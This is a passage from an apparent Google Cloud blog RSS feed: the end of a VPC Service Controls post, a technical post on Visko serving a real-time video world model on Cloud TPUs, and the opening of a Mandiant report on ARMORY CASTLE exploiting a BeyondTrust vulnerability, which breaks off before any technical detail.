        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/fig5.gif"
        
          alt="5"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="2mz9x"&gt;Figure 5 : VPC-SC Violation Remediation for faster turn-around.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Get started today&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;VPC-SC makes it simple and automated to deploy and refine granular network perimeter protection, even for autonomous agents. To get started:&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Establish your folder baseline&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Identify the folders in your resource hierarchy that correspond to the boundaries you intend to enforce, and define perimeters around them so that new workloads inherit policy on creation. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Run risk-free in Dry-Run mode&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Observe production traffic safely without blocking active developers.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Unblock traffic with Violation Analyzer and Violation Dashboard&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Use automated least-privilege remediation recommendations to resolve any  denials that surface. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Enforce with confidence&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Secure your full data estate by transitioning to enforcement once your dry-run logs show your intended access with clean, authorized traffic.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To learn more about how VPC-SC can help simplify your data security posture and confidently secure your autonomous agent fleets, check out the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/vpc-service-controls/docs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;VPC-SC documentation&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Thu, 15 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/products/identity-security/introducing-new-scalable-perimeter-options-with-vpc-service-controls/</guid><category>Security &amp; Identity</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Modernizing perimeter security: Scalable perimeters with VPC Service Controls</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/products/identity-security/introducing-new-scalable-perimeter-options-with-vpc-service-controls/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Pratik Bhangale</name><title>Product Manager, Google Cloud</title><department></department><company></company></author></item><item><title>How Visko streams real-time world models on Google Cloud TPUs</title><link>https://cloud.google.com/blog/products/media-entertainment/how-visko-streams-real-time-world-models-on-google-cloud-tpus/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Editor's note: Generative AI startups are moving rapidly beyond static clip generation to build interactive, real-time worlds. In this technical deep dive, we explore how AI startup &lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Visko&lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt; collaborated with Google Cloud TPU engineers to deploy Orbis — its continuously streaming Live World Model—on Cloud TPUs, going from initial kickoff to production handover in just 30 days.&lt;/span&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;What makes a live video world model so challenging to serve in production? The bottleneck isn't average throughput — it's beating a relentless real-time clock. Unlike offline video generators where a user submits a prompt and waits in a queue, a live world model streams continuously. Every new chunk of video and synchronized audio must finish rendering before the viewer finishes watching the previous one, or the world freezes.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Today, we're excited to share how &lt;/span&gt;&lt;a href="https://visko.ai" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Visko&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, an AI startup pioneering interactive world models, teamed up with Google Cloud to solve this exact challenge. Working side by side, Visko and Google Cloud engineers deployed Visko's end-to-end live inference pipeline — combining video generation, super-resolution upscaling, and synchronized audio—onto a single &lt;/span&gt;&lt;a href="https://cloud.google.com/tpu?e=48754805"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud TPU slice&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. Together, the teams brought end-to-end generation down, rendering at 1.07x playback speed.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Here is an inside look at how we engineered the pipeline to hit that milestone in a single month, the architectural optimizations that moved the needle, and practical lessons for other startups building ultra-low-latency generative AI on Google Cloud.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Redefining interactive media with Live World Models&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;While most generative video platforms focus on rendering fixed, pre-baked clips, Visko is building what it calls &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Live Models&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: video world models that generate continuously and respond on the fly.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Visko's flagship model, &lt;/span&gt;&lt;a href="https://www.visko.ai/models" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Orbis&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, streams live video starting from a single text or image prompt. As the stream plays, viewers can enter new steering prompts in real time, dynamically evolving the scene without restarting or breaking continuity. For instance, in one test session, the livestream opens on a cat napping beside a crackling fireplace; when the viewer steers the scene to introduce a bowl of food, the bowl materializes seamlessly, and the cat stretches, stands up, and meows.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Since launching its public demo on September 1, 2026, Orbis has unlocked new possibilities across interactive entertainment, live commerce, AI companions, immersive education, and robotics simulation. To scale these interactive sessions reliably, Visko partnered with Google Cloud TPU engineers in August 2026 to port the Orbis live pipeline to Google's Tensor Processing Unit (TPU). Within 30 days, the full multimodal pipeline was running in real time on TPUs.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Visko’s ambition is to power a new generation of interactive worlds that people can step into and shape in real time. Streaming continuous video and audio under a strict clock is a fundamentally different system challenge than offline clip generation. Working side by side with Google Cloud's TPU engineers, we brought the full Orbis pipeline to TPUs in just 30 days — giving us the low-latency compute and memory bandwidth required to bring Live Models to creators and developers at scale.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;"Visko is bringing an exciting new class of real-time, steerable workloads to the Cloud TPU ecosystem. By co-engineering their live multimodal pipeline on a singleTPU slice using JAX, torchax, and custom Pallas kernels, we proved how quickly a lean startup team can go from PyTorch prototype to render at 1.07x playback speed on Google Cloud's AI Hypercomputer."&lt;br/&gt;&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;– &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Dave Elliott, Head of Developer Advocacy for AI, Google Cloud&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Live video is a hard-deadline problem&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;When you serve an offline clip generator, latency is forgiving — the user waits once while the backend processes frames. A live world model has no waiting room.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Every single chunk must be denoised, decoded from latents, upscaled to 1664x936 (at 18 fps), and paired with generated audio faster than realtime playback speed, for as long as the session runs.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Two structural constraints make live world models far more demanding than standard batch inference:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Batch size of one:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Each live stream represents an individual viewer's interactive session. You cannot mask latency by grouping dozens of concurrent requests into a massive batch — the standard playbook for keeping AI accelerators saturated.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Strict sequential dependency:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Every chunk depends directly on the one before it. Because the video model maintains a rolling memory of recent video latents so that chunk N+1 smoothly continues the action from chunk N, you cannot pre-render chunks out of order or parallelize across future timestamps.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For startup infrastructure engineers coming from LLM serving, it helps to think of live world modeling not as a tokens-per-second throughput benchmark, but as an &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;unforgiving per-step latency SLO&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Architecting the multimodal pipeline on a single TPU slice&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To keep infrastructure lean and cost-effective as Visko scales, the team designed the live pipeline to chain three distinct generative models on a single &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/tpu/docs/multislice-introduction"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud TPU slice&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; running in BF16 precision.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;When a viewer submits an initial prompt or a live steering update, all three generative models — the core video diffusion model, the super-resolution upscaler, and the audio generator — share the same chips, taking turns on the hardware for each chunk.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/figure1_.max-1000x1000.png"
        
          alt="figure1_"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="1g87t"&gt;Figure 1: Visko's end-to-end Orbis live pipeline chains video diffusion, latent decoding, super-resolution upscaling, and pure-JAX audio generation sequentially on a single Cloud TPU slice, completing each chunk faster than the playback speed.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To combine rapid startup iteration with bare-metal accelerator speed, the software stack is built on three open-source pillars:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://github.com/jax-ml/jax" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;JAX&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Google's high-performance Python array library for accelerators, compiled into optimized machine code by the &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;XLA&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; compiler.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://github.com/google/torchax" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;torchax&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; An interoperability layer that runs PyTorch models directly on Cloud TPUs via JAX, enabling startup teams to bring existing PyTorch components over without an upfront, ground-up rewrite.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://jax.readthedocs.io/en/latest/pallas/index.html" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Pallas&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; The custom kernel programming language for TPUs in JAX. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Real-time performance breakdown: Hitting the clock &lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;By profiling and optimizing each stage on a single slice in BF16, the engineering team achieved a total per-chunk latency of under the target while — maintaining roughly &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;7% headroom &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;to absorb variance during live streaming:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/figure_2_orbis_latency_breakdown.max-1000x1000.png"
        
          alt="figure_2_orbis_latency_breakdown"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="1g87t"&gt;Figure 2: Chart of per-chunk latency budget on one TPU slice.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Because video denoising accounts for nearly two-thirds of the total compute budget, that stage became the primary focus of our kernel and parallelism optimizations.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Inside the stack: Three optimizations that unlocked real-time streaming&lt;/span&gt;&lt;/h3&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;1. Ulysses context parallelism across all TPU chips&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;A video chunk expands into a massive sequence of spatiotemporal tokens inside the video transformer. To distribute that workload across the TPU chips at batch size 1, the team implemented &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Ulysses context parallelism&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Instead of splitting model weights, Ulysses splits the token sequence across chips. Immediately before the attention layer, a high-speed all-to-all interconnect exchange regroups the tensors so that each chip holds the &lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;entire&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; video sequence, but only for one-quarter of the attention heads. After each chip computes attention over the full sequence for its assigned heads, a second all-to-all exchange restores the sequence-split layout for the feed-forward layers.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/figure3_ulysses_context.max-1000x1000.png"
        
          alt="figure3_ulysses_context"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="1g87t"&gt;Figure 3: Ulysses context parallelism across TPU chips at batch size 1. High-speed all-to-all Inter-Chip Interconnect (ICI) exchanges transition tensors between a sequence-split layout for feed-forward layers and a head-split layout for Pallas splash attention.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;2. Custom Pallas splash attention from MaxDiffusion&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To accelerate the attention computation itself, the team integrated a custom Pallas &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;splash attention&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; kernel from &lt;/span&gt;&lt;a href="https://github.com/AI-Hypercomputer/maxdiffusion" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;MaxDiffusion&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, Google Cloud's open-source reference library for diffusion models on Cloud TPU.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Splash attention brings FlashAttention-style tiling to TPU architecture: rather than materializing the full quadratic attention matrix in High Bandwidth Memory (HBM), it computes attention in compact tiles that remain inside ultra-fast on-chip VMEM. Startup teams can drop the exact kernel used in this port straight into their own pipelines via &lt;/span&gt;&lt;a href="https://github.com/AI-Hypercomputer/maxdiffusion/blob/main/src/maxdiffusion/kernels/custom_splash_attention.py" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;custom_splash_attention.py&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;3. A 5.8x audio speedup by moving from torchax to pure JAX&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We first brought all three Orbis models onto Cloud TPU with torchax, which runs PyTorch code on TPU through JAX and XLA without a rewrite. For the video and upscaling models, torchax paired with Pallas attention kernels met our latency target directly, and both stay in torchax in the final pipeline.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Only the audio model needed a rewrite. Moving the audio stage from torchax to native JAX made it 5.8x faster and brought the full pipeline under the playback deadline.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Field notes for AI builders: Cloud TPU lessons&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Takeaways from tuning live multimodal inference on Cloud TPU:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Ulysses context parallelism for single stream video&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: At batch size 1, splitting the token sequence across chips with all-to-all interconnect exchanges was faster than both tensor parallelism and ring attention.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Native BF16 for continuous streams&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: FP8 quantization cuts memory bandwidth pressure, but small quantization errors build up across chunks in a continuous stream. Native BF16 kept visual quality intact within the latency budget.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Selective JAX ports&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: torchax kept the video and upscaling models in PyTorch, so the team only rewrote the audio bottleneck in native JAX.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;XLA compilation caching:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; The first boot spends a few minutes compiling XLA graphs. Caching compiled artifacts brings worker restarts under a minute.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Building real-time generative models on Cloud TPU? Start here&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;If your startup is pushing the boundaries of live video, world models, or ultra-low-latency multimodal inference, you can build with the same toolkit that powered Visko's port:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Accelerate diffusion attention out of the box:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Grab the open-source splash attention kernel used in this collaboration from &lt;/span&gt;&lt;a href="https://github.com/AI-Hypercomputer/maxdiffusion" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;MaxDiffusion&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, and explore the &lt;/span&gt;&lt;a href="https://jax.readthedocs.io/en/latest/pallas/index.html" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Pallas documentation&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to write custom TPU kernels.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Migrate PyTorch fast, then optimize selectively:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Bring your existing PyTorch models onto TPU quickly with &lt;/span&gt;&lt;a href="https://github.com/google/torchax" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;torchax&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, pinpoint bottlenecks with the &lt;/span&gt;&lt;a href="https://cloud.google.com/tpu/docs/cloud-tpu-tools"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud TPU Profiler&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, and port latency-critical stages to native &lt;/span&gt;&lt;a href="https://github.com/jax-ml/jax" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;JAX&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Spin up TPUs on demand:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Use &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/tpu/docs/request-using-flex-start"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;TPU Flex-start VMs&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to provision TPU capacity for short development and benchmarking runs without a long-term reservation.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Scale with Google for Startups:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Early-stage AI startups looking for cloud credits, technical mentorship, and access to Google Cloud's AI Hypercomputer stack can apply to the &lt;/span&gt;&lt;a href="https://cloud.google.com/startup"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Google for Startups Cloud Program&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;p&gt;&lt;sup&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Special thanks to the Visko.ai team for the close technical partnership, and to the Google Cloud TPU engineers who lead the project including: Yixin Shi, James Huang, and Elisa Tsai.&lt;/span&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Thu, 15 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/products/media-entertainment/how-visko-streams-real-time-world-models-on-google-cloud-tpus/</guid><category>AI &amp; Machine Learning</category><category>Customers</category><category>Media &amp; Entertainment</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/Visko-header.max-600x600.png" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>How Visko streams real-time world models on Google Cloud TPUs</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/Visko-header.max-600x600.png</image><site_name>Google</site_name><url>https://cloud.google.com/blog/products/media-entertainment/how-visko-streams-real-time-world-models-on-google-cloud-tpus/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Will Yin</name><title>CEO, Visko</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Ivan Nardini</name><title>Developer Relations Engineer, Google Cloud</title><department></department><company></company></author></item><item><title>ARMORY CASTLE Exploits BeyondTrust</title><link>https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Written by: Jayson Frost, Bryce Greathouse, &lt;span style="vertical-align: baseline;"&gt;Brian Meyer, &lt;/span&gt;John Palmisano, Rajesh Rajeshirke, Steve Rasch, John Wolfram&lt;/span&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Introduction&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;On October 15, BeyondTrust disclosed a vulnerability, CVE-2026-102764, impacting BeyondTrust Remote Support (formerly Bomgar) appliances. BeyondTrust Remote Support is an enterprise secure remote access solution that enables IT teams to securely access and troubleshoot remote endpoints. The successful exploitation of this vulnerability results in the arbitrary upload of files. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;During an incident response engagement, Mandiant identified evidence that ARMORY CASTLE, a suspected PRC-nexus espionage threat actor (formerly tracked as &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;UNC5221&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;), exploited this vulnerability as a zero-day, in late August 2026. This blog describes how ARMORY CASTLE escalated privileges and established persistent access to compromised BeyondTrust Remote Support appliances following exploitation of CVE-2026-102764, and provides actionable guidance for defenders.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Organizations should prepare for potential widespread exploitation following this disclosure, as ARMORY CASTLE and other threat actors have historically conducted broad, opportunistic exploitation once the vulnerability becomes public. &lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Exploitation&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant identified evidence of CVE-2026-102764 exploitation within the access, syslog, messages, thin-scc, brain and SSL log files, which are only accessible via an LUKS-encrypted partition which contains the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/home&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; directory. We strongly recommend that affected organizations immediately apply the security &lt;/span&gt;&lt;a href="https://www.beyondtrust.com/trust-center/security-advisories/bt26-05" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;patches&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; provided by BeyondTrust to remediate the vulnerability, and review additional guidance in their &lt;/span&gt;&lt;a href="https://www.beyondtrust.com/blog/entry/bt26-05" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: 